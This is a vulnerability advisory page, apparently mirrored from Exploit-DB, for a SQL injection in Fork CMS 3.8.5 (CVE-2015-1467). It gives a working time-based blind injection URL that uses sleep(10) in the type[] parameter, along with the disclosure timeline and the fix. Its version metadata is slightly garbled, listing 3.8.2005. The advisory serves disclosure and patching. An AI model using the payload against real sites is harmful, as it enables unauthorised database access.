Fork CMS - SQL Injection in Version 3.8.5

vendor:

Fork CMS

by:

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7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Fork CMS

Affected Version From: 3.8.2005

Affected Version To: 3.8.2005

Patch Exists: YES

Related CWE: CVE-2015-1467

CPE: a:fork_cms:fork_cms

Metasploit: N/A

Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=75543

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2015

Fork CMS – SQL Injection in Version 3.8.5

When an authenticated user is navigating to 'Settings/Translations' and is clicking on the button 'Update Filter' the following GET-request is sent to the server: http://127.0.0.1/private/en/locale/index?form=filter&form_token=408d28a8cbab7890c11b20af033c486b&application=&module=&type%5B%5D=act&type%5B%5D=err&type%5B%5D=lbl&type%5B%5D=msg&language%5B%5D=en&name=&value= The parameter language[] is prone to boolean-based blind and stacked queries SQL-Injection. WIth the following payload a delay can be provoked in the request of additional 10 seconds: http://127.0.0.1/private/en/locale/index?form=filter&form_token=68aa8d273e0bd95a70e67372841603d5&application=&module=&type%5B%5D=act%27%2b(select%20*%20from%20(select(sleep(10)))a)%2b%27&type%5B%5D=err&type%5B%5D=lbl&type%5B%5D=msg&language%5B%5D=en&name=&value= Also the parameters type[] are prone to SQL-Injection.

Mitigation:

Input validation and sanitization should be done to prevent SQL Injection attacks.

Source

Exploit-DB raw data:

[CVE-2015-1467] Fork CMS - SQL Injection in Version 3.8.5

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Product Information:

Software: Fork CMS

Tested Version: 3.8.5, released on Wednesday 14 January 2015

Vulnerability Type: SQL Injection (CWE-89)

Download link to tested version: http://www.fork-cms.com/download?release=3.8.5

Description: Fork CMS is dedicated to creating a user friendly environment to build, monitor and update your website. We take great pride in being the Content Management System of choice for beginners and professionals. We combine this grand vision with the latest technological innovations to allow developers, front-end developers and designers to build kick-ass websites. This makes Fork CMS next in line for world domination. (copied from http://www.fork-cms.com/features)

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Vulnerability description:

When an authenticated user is navigating to "Settings/Translations" and is clicking on the button "Update Filter" the following GET-request is sent to the server:

http://127.0.0.1/private/en/locale/index?form=filter&form_token=408d28a8cbab7890c11b20af033c486b&application=&module=&type%5B%5D=act&type%5B%5D=err&type%5B%5D=lbl&type%5B%5D=msg&language%5B%5D=en&name=&value=


The parameter language[] is prone to boolean-based blind and stacked queries SQL-Injection. WIth the following payload a delay can be provoked in the request of additional 10 seconds:

http://127.0.0.1/private/en/locale/index?form=filter&form_token=68aa8d273e0bd95a70e67372841603d5&application=&module=&type%5B%5D=act%27%2b(select%20*%20from%20(select(sleep(10)))a)%2b%27&type%5B%5D=err&type%5B%5D=lbl&type%5B%5D=msg&language%5B%5D=en&name=&value=

Also the parameters type[] are prone to SQL-Injection.

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Impact: 

Direct database access is possible if an attacker is exploiting the SQL Injection vulnerability.

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Solution:

Update to the latest version, which is   3.8.6, see http://www.fork-cms.com/download.

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Timeline:

Vulnerability found: 3.2.2015
Vendor informed: 3.2.2015
Response by vendor: 3.2.2015
Fix by vendor 3.2.2015
Public Advisory: 4.2.2015

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Best regards,

Sven Schleier